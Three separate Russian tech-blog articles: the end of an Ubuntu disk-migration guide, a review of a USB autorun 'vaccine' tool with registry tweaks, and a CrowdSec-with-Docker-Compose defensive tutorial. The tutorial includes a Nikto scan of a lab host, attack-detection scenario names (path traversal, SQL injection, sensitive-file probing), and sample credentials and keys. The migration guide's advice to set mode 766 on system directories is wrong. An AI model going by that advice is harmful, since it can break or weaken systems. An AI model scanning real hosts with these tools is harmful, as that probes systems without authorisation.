НЕДОСТАТОЧНО *просто скопировать* данные на партиции **/var, /tmp, /usr**.
После всех процедур переноса нам необходимо СОЗДАТЬ эти директории на приемном диске, как точки монтирования тех самых партиций (и все те точки монтирования, которые мы исключили при переносе — **/home, /media, /tmp, /var, /mnt, /proc, /usr**) ОБЯЗАТЕЛЬНО С ТЕМИ ЖЕ аттрибутами! То есть:
`sudo mkdir /backup/root/home
sudo mkdir /backup/root/media
sudo mkdir /backup/root/tmp
sudo mkdir /backup/root/var
sudo mkdir /backup/root/mnt
sudo mkdir /backup/root/proc
sudo mkdir /backup/root/usr`
какие выставить аттрибуты на директории можно узнать набрав команду **ls -la /** на исходной системе. Но кроме **/tmp** везде должен быть владелец **root** группа **root** и права **766**. На /tmp надо поставить права **777**.
Теперь надо на приемном HDD поправить **fstab**, если необходимо (если вдруг вы СОВСЕМ ПО ДРУГОМУ разметили диск). А так же поправить **menu.lst** загрузчика GRUB.
В UBUNTU что в fstab, что в menu.lst все диски прописаны через **UUID** а не просто **/dev/hda**.
узнать какой у вашего диска **UUID** можно с помощью команды: **ls -l /dev/disk/by-uuid**, на выводе должно получиться что то вроде:
lrwxrwxrwx 1 root root 10 2008-02-17 17:45 11815c66-5ae7-4497-9039-51de9adef664 -> ../../hda2
lrwxrwxrwx 1 root root 10 2008-02-17 17:45 78711a48-6776-4474-8fa8-87016aad83a2 -> ../../hda6
lrwxrwxrwx 1 root root 10 2008-02-17 17:45 83fded3d-37c4-4d85-a965-a7bbe326178a -> ../../hda7
lrwxrwxrwx 1 root root 10 2008-02-17 17:45 a60e482c-8260-48fb-a19e-f5f906d4d444 -> ../../hda8
lrwxrwxrwx 1 root root 10 2008-02-17 17:45 bc7607fe-3bf2-4bc1-adce-8ab749a271c9 -> ../../hda1
lrwxrwxrwx 1 root root 10 2008-02-17 17:45 cacd40ea-ac88-4143-b5d9-5cb477eeb85d -> ../../hda4
lrwxrwxrwx 1 root root 10 2008-02-17 17:45 d4404ea9-0a8e-4a4c-b72d-10a5edd697be -> ../../hda5
вот нам нужны как раз цифры «**11815c66-5ae7-4497-9039-51de9adef664**», к примеру. Это **UUID** партиции **swap** (в моем случае).
в **menu.lst** правим следующие строки:
`# kopt=root=UUID=d4404ea9-0a8e-4a4c-b72d-10a5edd697be ro`
(не смотрите что строка закомментирована, при обновлении ядра именно отсюда берется информация)
`kernel /vmlinuz-2.6.22-14-generic root=UUID=d4404ea9-0a8e-4a4c-b72d-10a5edd697be ro quiet splash locale`
и
`kernel /vmlinuz-2.6.22-14-generic root=UUID=d4404ea9-0a8e-4a4c-b72d-10a5edd697be ro single`
Не забудьте тот факт, что хоть система и скопирована на диск, но она пока не умеет загружаться, потому что мы не установили загрузчик.
Делается это просто:
Берем установочный диск UBUNTU и грузимся.
переходим в консоль **ctrl+f1**
`sudo su
grub
find /grub/stage1
root (hd0,0) сюда пишем то что выдала предыдущая команда
setup (hd0) сюда пишем то же самое но до первой запятой.
quit`
Все — отсединяем диск от системы, подключаем, проверяем. У меня все заработало.
ЗЫ!
Так как я не переносил **/home** — то система ругнулась на то что я как пользователь есть а вот домашней папки у меня нет. Я поступил варварским способом — `userdel %username%`, а затем `adduser %username%`.
Просто мне было НЕВАЖНО. И лень расставлять аттрибуты. А таким образом система сделала все за меня.
P.S. Не ругайте сильно за, возможно, устаревший способ, но на тот момент он работал и работал хорошо! (**Тот момент** можете вычислить по версии ядра упомянутого в этой статье). | https://habr.com/ru/post/128095/ | null | ru | null |
# Panda USB and AutoRun Vaccine — лекарство от autorun-вирусов на флешке
5 марта я написал свою статью о [скрипте AUTOSTOP](http://habrahabr.ru/blogs/infosecurity/53642/) для защиты флешек от autorun-вирусов, получившую немалый отклик. И только я сегодня собрался писать новую статью об альтернативном (более надежном) методе, как на одном из ресурсов, в [теме](http://kpnemo.ru/appz/2009/03/11/autostop_skript_dlya_zaschityi_fleshki_ot_autorun_virusov/), посвященной обсуждению скрипта, мне подсказали программу [Panda USB and AutoRun Vaccine](http://research.pandasecurity.com/archive/Panda-USB-and-AutoRun-Vaccine.aspx), работающую именно по методу, который я хотел описать. Причем работающую просто **блестяще**! Файл **autorun.inf**, создаваемый ею на флешке (дабы предотвратить создание такого файла вирусом) невозможно ни удалить, ни переименовать (в чем была слабость моего скрипта), ни модифицировать, ни открыть.
Познакомимся с программой поближе, рассмотрим ее возможности и метод, на котором базируется принцип работы.
#### МЕТОД
Прежде всего расскажу о методе.
Буквально через несколько дней после опубликования мною статьи, пользователь ЖЖ [\_\_x\_tra](http://users.livejournal.com/__x_tra/)
отписался в моем ЖЖ об альтернативном [способе](http://mechanicuss.livejournal.com/195192.html?thread=1995384#t1995384) защиты флешки от autorun-вирусов, который он придумал: на флешке создается файл или каталог с названием AUTORUN.INF, и с помощью WinHex этому файлу или каталогу выставляется недопустимый атрибут. Напомню, что согласно [FAT32 File System Specification](http://www.microsoft.com/whdc/system/platform/firmware/fatgen.mspx), более известной как FATGEN (мы здесь рассматриваем защиту флешек с FAT):
`File attributes:
ATTR_READ_ONLY 0x01
ATTR_HIDDEN 0x02
ATTR_SYSTEM 0x04
ATTR_VOLUME_ID 0x08
ATTR_DIRECTORY 0x10
ATTR_ARCHIVE 0x20
ATTR_LONG_NAME ATTR_READ_ONLY | ATTR_HIDDEN | ATTR_SYSTEM | ATTR_VOLUME_ID
The upper two bits of the attribute byte are reserved and should always be set to 0 when a file is created and never modified or looked at after that.`
В варианте же, придуманном **\_\_x\_tra** предлагалось поставить два верхних бита не в 0, а в 1. Байт атрибутов получался таким: 0xF7 (ATTR\_ARCHIVE+ATTR\_DIRECTORY+ATTR\_SYSTEM+ATTR\_HIDDEN+ATTR\_READ\_ONLY+два старших бита 11). Еще предлагались возможные варианты в виде 0xC7, 0xD7, 0xE7. Я протестировал метод — он оказался рабочим! AUTORUN.INF с присвоенным таким образом атрибутом, невозможно было открыть, переименовать и модифицировать. Меня лишь смущало 2 фактора:
* Корректность такого способа: как он отразится на работоспособности файловой системы.
* Повторяемость способа: каким образом объяснить простому пользователю что такое WinHex, и с чем его едят.
#### ПРОГРАММА
Вернемся теперь к программе Panda USB and AutoRun Vaccine.
Напомню что «Panda USB Vaccine currently only works on FAT & FAT32 USB drives». Маленький размер файла (всего 393Kb) и спартанский интерфейс — все продумано, ничего лишнего. Добавлю что программа бесплатная.
Начну с кнопки **«Vaccinate USB»**. Я специально создал заранее на флешке файл autorun.inf с атрибутами RAHS — это никоим образом не помешало программе, при нажатии на упомянутую кнопку, перезаписать его своим одноименным файлом, который, как я говорил в начале статьи «невозможно ни удалить, ни переименовать (в чем была слабость моего скрипта), ни модифицировать, ни открыть». Открываем флешку в WinHex, смотрим атрибут файла autorun.inf. И что же мы видим:
Мы видим что аналогично способу **\_\_x\_tra**, изменен атрибут файла: **0х40**. В статье [FAT12, FAT16 and FAT32 Windows File System](http://www.dataraid.com/storage-u/fat12-fat16-fat32-file-system/) находим расшифровку, которой нет в FATGEN:
`0x40 Device (internal use only, never found on disk)
0x80 Unused`
Т.е. атрибут 0x40 не так уж «некорректен» — он «в рамках спецификаций». Чесно говоря, я очень рад, что ребята из Panda Software реализовали этот способ в крохотной программе, нажатием одной лишь кнопки — не заставляя пользователя прибегать к WinHex.
Замечу что средствами программы отменить вакцинацию флешки невозможно. Если уж появилась необходимость создать на флешке свой autorun.inf (например, чтобы сделать ее загрузочной) — то WinHex вам в помощь, или переформатирование (для этой цели, кстати, хорошо использовать HP USB Disk Storage Format Tool).
Вторая кнопка программы **«Vaccinate computer»**. Проверим что она делает:
Это знакомый мне (еще до создания скрипта AUTOSTOP, я использовал именно этот метод) придуманный Nick Brown [способ](http://nick.brown.free.fr/blog/2007/10/memory-stick-worms.html):
`REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf]
@="@SYS:DoesNotExist"`
[SYS](https://habrahabr.ru/users/sys/):DoesNotExist говорит explorer'у чтобы он не читал параметры запуска из файла Autorun.inf, а читал их из ветки реестра HKEY\_LOCAL\_MACHINE\SOFTWARE\DoesNotExist, которая не существует. В итоге если внешний носитель содержит файл Autorun.inf — то при подключении носителя к компьютеру, Autorun.inf не запускается. Более того — не запускается он и при двойном клике по букве диска этого носителя в проводнике.
Способ хорош (замечу, что в программе присутствует функция отмены этого действия, на тот случай если авторан пользователю все же понадобится, осуществляемая повторным нажатием на кнопку, надпись на которой будет **«Remove vaccine»**), но добавлю что для полного отключения автозапуска будет необходимо добавить еще 3 ключа реестра (в приведенном мной синтаксисе они добавлаются через bat-файл):
* REG ADD «HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\CancelAutoplay\Files» /v "\*.\*" /d "" /f
В CancelAutoplay\Files находятся текстовые параметры, содержащие имена файлов, отыскав которые на носителе встроенный AutoRun запускаться не станет и позволит запустить носитель через autorun.inf. Добавляем строковый параметр следующего содержания: \*.\* (все файлы).
* REG ADD «HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer» /v NoDriveTypeAutoRun /t REG\_DWORD /d 255 /f
С помощью NoDriveAutoRun запрещается загрузка с определенных приводов по их буквенному обозначению, а NoDriveTypeAutoRun запрещает загрузку с определенных приводов по их типу. Поскольку нам авторан вообще не нужен, используем второе.
* REG ADD «HKLM\SYSTEM\CurrentControlSet\Services\Cdrom» /v AutoRun /t REG\_DWORD /d 0 /f
Cdrom — полное отключение всякой поддержки автозапуска компакт-дисков (даже ручной).
Из дополнительных возможностей программы отмечу следующее: если запустить программу с ключом (кроме этого ключа есть еще несколько — см. [страницу программы](http://research.pandasecurity.com/archive/Panda-USB-and-AutoRun-Vaccine.aspx))
`USBVaccine.exe /resident`
то она будет висеть резидентно, и при подключении новой флешки, будет предлагать вацинировать ее:
#### ВЫВОДЫ
Из известных мне на сегодняшний день способов защиты флешек с FAT от autorun-вирусов это **самый** надежный. Понятно что раз такие вещи умеет делать программа от Panda Software, то рано или поздно вирусописатели тоже могут этому научиться — но это вопрос времени, а в данном случае время выиграно, и выигрыш в пользу защиты.
\* Интересно что программа Panda USB Vaccine 1.0.0.19 beta вышла 5 марта — в тот же день, когда была написана моя статья о скрипте AUTOSTOP. Возможно в будущем 5 марта назовут международным днем борьбы с autorun-вирусами :)
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — #### UPD:
В комментариях высказывалась идея о том, что было бы логично сделать создаваемый «Panda USB and AutoRun Vaccine» защищенный файл autorun.inf скрытым (чтобы не попадался на глаза пользователю, и не провоцировал его переформатировать флешку, уничтожив защиту). И вот [Inskin](https://habrahabr.ru/users/inskin/) нашел изящное решение, которое, в общем-то лежало на поверхности: атрибуты файла — побитовые. Складываем 0x40 (01000000) + 0x01 (00000001) + 0x02 (00000010) + 0x04 (00000100), получаем 0x47 (01000111), и имеем **защищенный файл с атрибутами RHS**. На рисунке сверху фрагмент строки WinHex, под ней — часть окна FAR:
Я списался с [\_\_x\_tra](http://users.livejournal.com/__x_tra/), и он любезно согласился помочь.
Модифицированная версия, выставляющая файлу атрибут 0x47 (используйте на свой страх и риск): [USBVaccine\_47.zip](http://rghost.ru/154819) (USBVaccine\_47.exe, size — 1 182 464 bytes, размер больше оригинальной версии, т.к. оригинальная сжата UPX, MD5: 5e3eb34bb09b1dda31dae0dfd8cd3521). | https://habr.com/ru/post/54187/ | null | ru | null |
# Обеспечиваем безопасность стеков Docker Compose с помощью CrowdSec
В этой статье рассказывается, как объединить CrowdSec и Docker Compose для защиты приложений, заключенных в контейнеры. Это позволит нам:
* автоматически закрывать скомпрометированным IP-адресам доступ к нашим контейнерным сервисам;
* вручную добавлять/удалять и проверять решения о запрете;
* отслеживать поведение CrowdSec (с помощью cli и дашбордов)
Эта статья была подготовлена технической командой CrowdSec.
**Целевая архитектура**
На схеме ниже представлена наша целевая архитектура:
Сначала создадим файл Docker Compose, который определит следующие настройки:
* обратный прокси-сервер, использующий Nginx;
* тестовое приложение, выводящее «hello world» на Apache2;
* контейнер CrowdSec, который считывает журналы обратного прокси-сервера с целью обнаружения атак на службу HTTP;
* контейнер Metabase, который будет генерировать сложные дашборды для отслеживания происходящего.
Мы выбрали самый простой способ сбора логов: с помощью разделения томов между контейнерами. Если вы работаете в производственной среде, то вы, скорее всего, используете [логирование](https://docs.docker.com/config/containers/logging/configure/) для централизации журналов с помощью rsyslog или другой механизм. Поэтому не забудьте отладить конфигурацию CrowdSec Docker Compose для правильного чтения журналов.
Файл [docker-compose.yml](https://github.com/crowdsecurity/example-docker-compose/blob/main/docker-compose.yml) выглядит следующим образом:
```
version: '3'
services:
#the application itself : static html served by apache2.
#the html can be found in ./app/
app:
image: httpd:alpine
restart: always
volumes:
- ./app/:/usr/local/apache2/htdocs/
networks:
crowdsec_test:
ipv4_address: 172.20.0.2
#the reverse proxy that will serve the application
#you can see nginx's config in ./reverse-proxy/nginx.conf
reverse-proxy:
image: nginx:alpine
restart: always
ports:
- 8000:80
depends_on:
- 'app'
volumes:
- ./reverse-proxy/nginx.conf:/etc/nginx/nginx.conf
- logs:/var/log/nginx
networks:
crowdsec_test:
ipv4_address: 172.20.0.3
#crowdsec : it will be fed nginx's logs
#and later we're going to plug a firewall bouncer to it
crowdsec:
image: crowdsecurity/crowdsec:v1.0.8
restart: always
environment:
#this is the list of collections we want to install
#https://hub.crowdsec.net/author/crowdsecurity/collections/nginx
COLLECTIONS: "crowdsecurity/nginx"
GID: "${GID-1000}"
depends_on:
- 'reverse-proxy'
volumes:
- ./crowdsec/acquis.yaml:/etc/crowdsec/acquis.yaml
- logs:/var/log/nginx
- crowdsec-db:/var/lib/crowdsec/data/
- crowdsec-config:/etc/crowdsec/
networks:
crowdsec_test:
ipv4_address: 172.20.0.4
#metabase, because security is cool, but dashboards are cooler
dashboard:
#we're using a custom Dockerfile so that metabase pops with pre-configured dashboards
build: ./crowdsec/dashboard
restart: always
ports:
- 3000:3000
environment:
MB_DB_FILE: /data/metabase.db
MGID: "${GID-1000}"
depends_on:
- 'crowdsec'
volumes:
- crowdsec-db:/metabase-data/
networks:
crowdsec_test:
ipv4_address: 172.20.0.5
volumes:
logs:
crowdsec-db:
crowdsec-config:
networks:
crowdsec_test:
ipam:
driver: default
config:
- subnet: 172.20.0.0/24
```
Контейнер обратного прокси-сервера reverse-proxy (nginx) записывает свои логи в том логов, установленный контейнером crowdsec.
База данных SQLite CrowdSec находится в томе crowdsec-db, установленном dashboard-контейнером (metabase).
**Первоначальное развертывание**
Обязательные требования: наличие [Docker](https://docs.docker.com/engine/install/) / [Docker Compose](https://docs.docker.com/compose/install/).
Мы поместили все файлы конфигурации [в это хранилище](https://github.com/crowdsecurity/example-docker-compose), чтобы можно было просто клонировать их для развёртывания.
Вы можете выполнить развёртывание из каталога Docker Compose с помощью команды docker-compose up -d, а затем проверить работоспособность с помощью docker-compose ps.
```
> git clone https://github.com/crowdsecurity/example-docker-compose
> cd example-docker-compose
> sudo docker-compose up
> sudo docker-compose ps
# cd examples/docker-compose
# docker-compose up -d
...
# docker-compose ps
Name Command State Ports
------------------------------------------------------------------------------------------------
docker-compose_app_1 httpd-foreground Up 80/tcp
docker-compose_crowdsec_1 /bin/sh -c /bin/sh docker_ ... Up
docker-compose_dashboard_1 /app/run_metabase.sh Up 0.0.0.0:3000->3000/tcp
docker-compose_reverse-proxy_1 /docker-entrypoint.sh ngin ... Up 0.0.0.0:8000->80/tcp
```
Давайте проверим, что все работает!
**Проверка демонстрационного приложения**
С помощью этой команды мы можем проверить, правильно ли работает доступ к нашему демонстрационному приложению.
```
curl http://localhost:8000/
Hello world !%
```
**Проверка**
Нам нужно проверить, правильно ли CrowdSec читает журналы.
```
docker-compose exec crowdsec cscli metrics
sudo docker-compose exec crowdsec cscli metrics
INFO[25-02-2021 03:38:50 PM] Buckets Metrics:
+--------------------------------------+---------------+-----------+--------------+--------+---------+
| BUCKET | CURRENT COUNT | OVERFLOWS | INSTANCIATED | POURED | EXPIRED |
+--------------------------------------+---------------+-----------+--------------+--------+---------+
| crowdsecurity/http-crawl-non_statics | - | - | 2 | 2 | 2 |
+--------------------------------------+---------------+-----------+--------------+--------+---------+
INFO[25-02-2021 03:38:50 PM] Acquisition Metrics:
+-----------------------------------+------------+--------------+----------------+------------------------+
| SOURCE | LINES READ | LINES PARSED | LINES UNPARSED | LINES POURED TO BUCKET |
+-----------------------------------+------------+--------------+----------------+------------------------+
| /var/log/nginx/example.access.log | 2 | 2 | - | 2 |
+-----------------------------------+------------+--------------+----------------+------------------------+
INFO[25-02-2021 03:38:50 PM] Parser Metrics:
+--------------------------------+------+--------+----------+
| PARSERS | HITS | PARSED | UNPARSED |
+--------------------------------+------+--------+----------+
| child-crowdsecurity/http-logs | 6 | 2 | 4 |
| child-crowdsecurity/nginx-logs | 2 | 2 | - |
| crowdsecurity/dateparse-enrich | 2 | 2 | - |
| crowdsecurity/geoip-enrich | 2 | 2 | - |
| crowdsecurity/http-logs | 2 | - | 2 |
| crowdsecurity/nginx-logs | 2 | 2 | - |
| crowdsecurity/non-syslog | 2 | 2 | - |
+--------------------------------+------+--------+----------+
INFO[25-02-2021 03:38:50 PM] Local Api Metrics:
+--------------------+--------+------+
| ROUTE | METHOD | HITS |
+--------------------+--------+------+
| /v1/watchers/login | POST | 2 |
+--------------------+--------+------+
```
Что произошло и что здесь к чему?
Команда cscli metrics запрашивает [метрики из Prometheus](https://prometheus.io/docs/introduction/overview/), доступные CrowdSec локально, и представляет их в таком необычном виде:
* Acquisition metrics («метрики извлечения») показывают нам, что наши запросы действительно создают журналы, которые читаются (LINES READ), анализируются (LINES PARSED) и даже сопоставляются с установленными сценариями (LINES POURED TO BUCKET),
* Buckets metrics («метрики сегментов») и parser metrics («метрики анализатора») показывают нам, какие анализаторы и сценарии запускаются.
**Проверка конфигурации CrowdSec**
Команда cscli hub list показывает, какие анализаторы и сценарии развёрнуты.
```
sudo docker-compose exec crowdsec cscli hub list
INFO[25-02-2021 03:46:41 PM] Loaded 14 collecs, 19 parsers, 23 scenarios, 3 post-overflow parsers
INFO[25-02-2021 03:46:41 PM] unmanaged items : 20 local, 0 tainted
INFO[25-02-2021 03:46:41 PM] PARSERS:
-------------------------------------------------------------------------------------------------------------
NAME STATUS VERSION LOCAL PATH
-------------------------------------------------------------------------------------------------------------
crowdsecurity/sshd-logs ✔ enabled 0.1 /etc/crowdsec/parsers/s01-parse/sshd-logs.yaml
crowdsecurity/syslog-logs ✔ enabled 0.1 /etc/crowdsec/parsers/s00-raw/syslog-logs.yaml
crowdsecurity/dateparse-enrich ✔ enabled 0.1 /etc/crowdsec/parsers/s02-enrich/dateparse-enrich.yaml
crowdsecurity/geoip-enrich ✔ enabled 0.2 /etc/crowdsec/parsers/s02-enrich/geoip-enrich.yaml
crowdsecurity/nginx-logs ✔ enabled 0.2 /etc/crowdsec/parsers/s01-parse/nginx-logs.yaml
crowdsecurity/http-logs ✔ enabled 0.4 /etc/crowdsec/parsers/s02-enrich/http-logs.yaml
-------------------------------------------------------------------------------------------------------------
INFO[25-02-2021 03:46:41 PM] SCENARIOS:
--------------------------------------------------------------------------------------------------------------------------
NAME STATUS VERSION LOCAL PATH
--------------------------------------------------------------------------------------------------------------------------
ltsich/http-w00tw00t ✔ enabled 0.1 /etc/crowdsec/scenarios/http-w00tw00t.yaml
crowdsecurity/http-crawl-non_statics ✔ enabled 0.2 /etc/crowdsec/scenarios/http-crawl-non_statics.yaml
crowdsecurity/http-probing ✔ enabled 0.2 /etc/crowdsec/scenarios/http-probing.yaml
crowdsecurity/http-path-traversal-probing ✔ enabled 0.2 /etc/crowdsec/scenarios/http-path-traversal-probing.yaml
crowdsecurity/http-xss-probing ✔ enabled 0.2 /etc/crowdsec/scenarios/http-xss-probing.yaml
crowdsecurity/http-bad-user-agent ✔ enabled 0.3 /etc/crowdsec/scenarios/http-bad-user-agent.yaml
crowdsecurity/ssh-bf ✔ enabled 0.1 /etc/crowdsec/scenarios/ssh-bf.yaml
crowdsecurity/http-backdoors-attempts ✔ enabled 0.2 /etc/crowdsec/scenarios/http-backdoors-attempts.yaml
crowdsecurity/http-sensitive-files ✔ enabled 0.2 /etc/crowdsec/scenarios/http-sensitive-files.yaml
crowdsecurity/http-sqli-probing ✔ enabled 0.2 /etc/crowdsec/scenarios/http-sqli-probing.yaml
--------------------------------------------------------------------------------------------------------------------------
INFO[25-02-2021 03:46:41 PM] COLLECTIONS:
------------------------------------------------------------------------------------------------------------
NAME STATUS VERSION LOCAL PATH
------------------------------------------------------------------------------------------------------------
crowdsecurity/sshd ✔ enabled 0.1 /etc/crowdsec/collections/sshd.yaml
crowdsecurity/base-http-scenarios ✔ enabled 0.3 /etc/crowdsec/collections/base-http-scenarios.yaml
crowdsecurity/linux ✔ enabled 0.2 /etc/crowdsec/collections/linux.yaml
crowdsecurity/nginx ✔ enabled 0.1 /etc/crowdsec/collections/nginx.yaml
------------------------------------------------------------------------------------------------------------
INFO[25-02-2021 03:46:41 PM] POSTOVERFLOWS:
--------------------------------------
NAME STATUS VERSION LOCAL PATH
--------------------------------------
--------------------------------------
```
**Проверка Metabase**
Metabase — это один из развернутых компонентов, который позволяет создавать дашборды для более комфортного отслеживания происходящего. Вы можете перейти на <http://127.0.0.1:3000/> и войти в систему с помощью почтового адреса crowdsec@crowdsec.net и пароля !!Cr0wdS3c\_M3t4b4s3??
Metabase поставляется с паролем по умолчанию в зависимости от способа его развертывания. Не забудьте сменить пароль по умолчанию и ограничить доступ к metabase, разрешив его только для необходимых IP-адресов или сетевых диапазонов.
Сначала дашборды будут пустыми, так как атак еще не обнаружено. Основной дашборд должен выглядеть так:
Если какая-либо из проверок не прошла, просмотрите логи контейнеров с помощью команды docker-compose logs сrowdsec (как пример).
**Функции обнаружения**
**Примечание**. В реальных условиях используются [белые списки](https://hub.crowdsec.net/author/crowdsecurity/configurations/whitelists) для предотвращения запрета частных IP-адресов.
Убедившись, что всё готово к работе, можно попробовать некоторые функции обнаружения. Поскольку мы работаем с открытой службой HTTP, запустим Nikto с другого компьютера в локальной сети nikto -host <http://192.168.2.227:8000>
**Примечание**. IP-адрес зависит от настроек локальной сети и плана адресации.
Мы также можем следить за логами CrowdSec с помощью следующей команды: docker-compose logs -f crowdsec
Здесь видно, что IP-адрес нашего клиента (192.168.2.211) был помечен, так как запустил несколько сценариев:
* [crowdsecurity/http-bad-user-agent](https://hub.crowdsec.net/author/crowdsecurity/configurations/http-bad-user-agent): IP принадлежит известному вредоносному пользовательскому агенту;
* [crowdsecurity/http-probing](https://hub.crowdsec.net/author/crowdsecurity/configurations/http-probing): пытался получить доступ к нескольким отдельным несуществующим файлам;
* [crowdsecurity/http-crawl-non\_statics](https://hub.crowdsec.net/author/crowdsecurity/configurations/http-crawl-non_statics): попытка доступа к нескольким нестатическим ресурсам;
* [crowdsecurity/http-sensitive-files](https://hub.crowdsec.net/author/crowdsecurity/configurations/http-sensitive-files): IP пытался получить доступ к большому количеству конфиденциальных файлов;
* [crowdsecurity/http-path-traversal-probing](https://hub.crowdsec.net/author/crowdsecurity/configurations/http-path-traversal-probing): IP пытался выполнить атаку по [обходному пути](https://owasp.org/www-community/attacks/Path_Traversal).
Мы видим, что наш IP-адрес был заблокирован с помощью docker-compose exec crowdsec cscli decisions list.
Мы можем просматривать и проверять оповещения с помощью docker-compose exec crowdsec cscli alerts list и docker-compose exec crowdsec cscli alerts inspect -d XX:
**Примечание**. cscli alerts list показывает список всех сработавших оповещений.
```
sudo docker-compose exec crowdsec cscli alerts inspect -d 43
################################################################################################
- ID : 43
- Date : 2021-02-26T08:26:07Z
- Machine : ee0ebe5b529c4995964ff0b3e01b1801sxSpiCdYj9lpSD9W
- Simulation : false
- Reason : crowdsecurity/http-sensitive-files
- Events Count : 5
- Scope:Value: Ip:192.168.2.211
- Country :
- AS :
- Active Decisions :
+-----+------------------+--------+--------------------+----------------------+
| ID | SCOPE:VALUE | ACTION | EXPIRATION | CREATED AT |
+-----+------------------+--------+--------------------+----------------------+
| 802 | Ip:192.168.2.211 | ban | 3h53m15.124782708s | 2021-02-26T08:26:07Z |
+-----+------------------+--------+--------------------+----------------------+
- Events :
- Date: 2021-02-26 08:26:07 +0000 UTC
+---------------+-----------------+
| KEY | VALUE |
+---------------+-----------------+
| ASNNumber | 0 |
| http_args_len | 0 |
| log_type | http_access-log |
| service | http |
| source_ip | 192.168.2.211 |
| http_status | 404 |
| http_path | /CyNqbugR.bak |
| IsInEU | false |
+---------------+-----------------+
- Date: 2021-02-26 08:26:07 +0000 UTC
+---------------+-----------------+
| KEY | VALUE |
+---------------+-----------------+
| log_type | http_access-log |
| service | http |
| source_ip | 192.168.2.211 |
| http_status | 404 |
| http_path | /CyNqbugR.sql |
| IsInEU | false |
| ASNNumber | 0 |
| http_args_len | 0 |
+---------------+-----------------+
- Date: 2021-02-26 08:26:07 +0000 UTC
+---------------+-----------------+
| KEY | VALUE |
+---------------+-----------------+
| service | http |
| source_ip | 192.168.2.211 |
| http_status | 404 |
| http_path | /CyNqbugR.exe |
| IsInEU | false |
| ASNNumber | 0 |
| http_args_len | 0 |
| log_type | http_access-log |
+---------------+-----------------+
- Date: 2021-02-26 08:26:07 +0000 UTC
+---------------+-------------------+
| KEY | VALUE |
+---------------+-------------------+
| IsInEU | false |
| ASNNumber | 0 |
| http_args_len | 0 |
| log_type | http_access-log |
| service | http |
| source_ip | 192.168.2.211 |
| http_status | 404 |
| http_path | /CyNqbugR.printer |
+---------------+-------------------+
- Date: 2021-02-26 08:26:07 +0000 UTC
+---------------+--------------------+
| KEY | VALUE |
+---------------+--------------------+
| ASNNumber | 0 |
| http_args_len | 0 |
| log_type | http_access-log |
| service | http |
| source_ip | 192.168.2.211 |
| http_status | 404 |
| http_path | /CyNqbugR.htaccess |
| IsInEU | false |
+---------------+--------------------+
```
**Примечание.** cscli alerts inspect -d позволяет получить более подробную информацию об оповещении.
**Мониторинг действий с помощью дашбордов**
После запуска нескольких сценариев мы можем вернуться к дашбордам Metabase (<http://127.0.0.1:3000> с настройкой по умолчанию) и проверить активность.
Если бы трафик поступал с общедоступного IP-адреса (а не с частного, как в данном примере), crowdsecurity/geoip-enrich обогатил бы события данными геолокации и информацией об AS/диапазоне.
**Блокировка атак с помощью баунсеров**
Теперь, когда у нас есть полнофункциональная служба CrowdSec, мы можем обнаруживать входящие атаки на наш сервис с помощью [установленных сценариев сбора данных](https://hub.crowdsec.net/author/crowdsecurity/collections/base-http-scenarios).
После обнаружения атак наша цель — заблокировать их. Для этого мы будем использовать [cs-firewall-bouncer](https://hub.crowdsec.net/author/crowdsecurity/bouncers/cs-firewall-bouncer). Начните с его установки на хосте и заблокируйте вредоносный трафик непосредственно в DOCKER-USER, пути по умолчанию, созданном Docker для фильтрации трафика, предназначенного для контейнеров.
Вы можете [найти firewall bouncer на CrowdSec Hub](https://hub.crowdsec.net/author/crowdsecurity/bouncers/cs-firewall-bouncer). Его последняя версия — v0.0.16.
```
wget https://github.com/crowdsecurity/cs-firewall-bouncer/releases/download/v0.0.10/cs-firewall-bouncer.tgz
tar xvzf cs-firewall-bouncer.tgz
cd cs-firewall-bouncer-v0.0.10
sudo ./install.sh
```
С июля Debian, Ubuntu, CentOS, RHEL и Amazon Linux включают собственные пакеты firewall-баунсеров. Проверьте наш [репозиторий GitHub](https://github.com/crowdsecurity/crowdsec) для дополнительной информации. Установка очень проста. Она включает развертывание модуля systemd для службы и проверку на соответствие требованиям. Здесь у нас не был запущен ipset, поэтому он был для нас установлен.
Здесь мы установили баунсер на хост, на котором не запущен CrowdSec. Поэтому служба недовольна.
Теперь настроим баунсер, чтобы он взаимодействовал с локальным API на нашем контейнере CrowdSec. Начнем с создания токена API для нашего баунсера с помощью cscli.
```
docker-compose exec crowdsec cscli bouncers add HostFirewallBouncer
sudo docker-compose exec crowdsec cscli bouncers add HostFirewallBouncer
Api key for 'HostFirewallBouncer':
aaebb3708fe67eeeccbb52a21e5e7862
Please keep this key since you will not be able to retrive it!
```
Затем вам необходимо настроить баунсер так, чтобы он использовал этот токен для аутентификации с помощью локального API CrowdSec. В /etc/crowdsec/cs-firewall-bouncer/cs-firewall-bouncer.yaml, отредактируйте api\_url, api\_key, и iptables\_chains. В этом случае IPv6 также был отключен с помощью команды disable\_ipv6:
```
mode: iptables
piddir: /var/run/
update_frequency: 10s
daemonize: true
log_mode: file
log_dir: /var/log/
log_level: info
api_url: http://172.20.0.4:8080/
api_key: aaebb3708fe67eeeccbb52a21e5e7862
disable_ipv6: true
#if present, insert rule in those chains
iptables_chains:
- DOCKER-USER
```
**Примечание**. Мы отредактировали пути, чтобы в них использовался только путь DOCKER-USER, а также установили api\_url в соответствии с нашим файлом docker-compose.yml и указали только что сгенерированный токен api.
**CrowdSec в действии**
Теперь мы можем запустить настроенный баунсер с помощью sudo systemctl start cs-firewall-bouncer.service, после чего посмотрим на новую конфигурацию брандмауэра:
```
sudo iptables -L -n
...
Chain DOCKER-USER (1 references)
target prot opt source destination
DROP all -- 0.0.0.0/0 0.0.0.0/0 match-set crowdsec-blacklists src
...
```
Мы видим, что наш путь DOCKER-USER получил правило для сопоставления входящего трафика с нашим ipset, а ipset заполнен соответствующей информацией.
```
sudo ipset -L crowdsec-blacklists
Name: crowdsec-blacklists
Type: hash:net
Revision: 6
Header: family inet hashsize 1024 maxelem 65536 timeout 300
Size in memory: 6016
References: 1
Number of entries: 61
Members:
178.20.157.98 timeout 80103
52.184.35.59 timeout 80103
...
```
Как вы уже могли заметить, ipset заполнен не только нашими локальными решениями, но и решениями сообщества. Однако мы видим, что наши «локальные» решения попали в список ipset.
```
sudo ipset -L crowdsec-blacklists | grep 192
192.168.2.211 timeout 12859
```
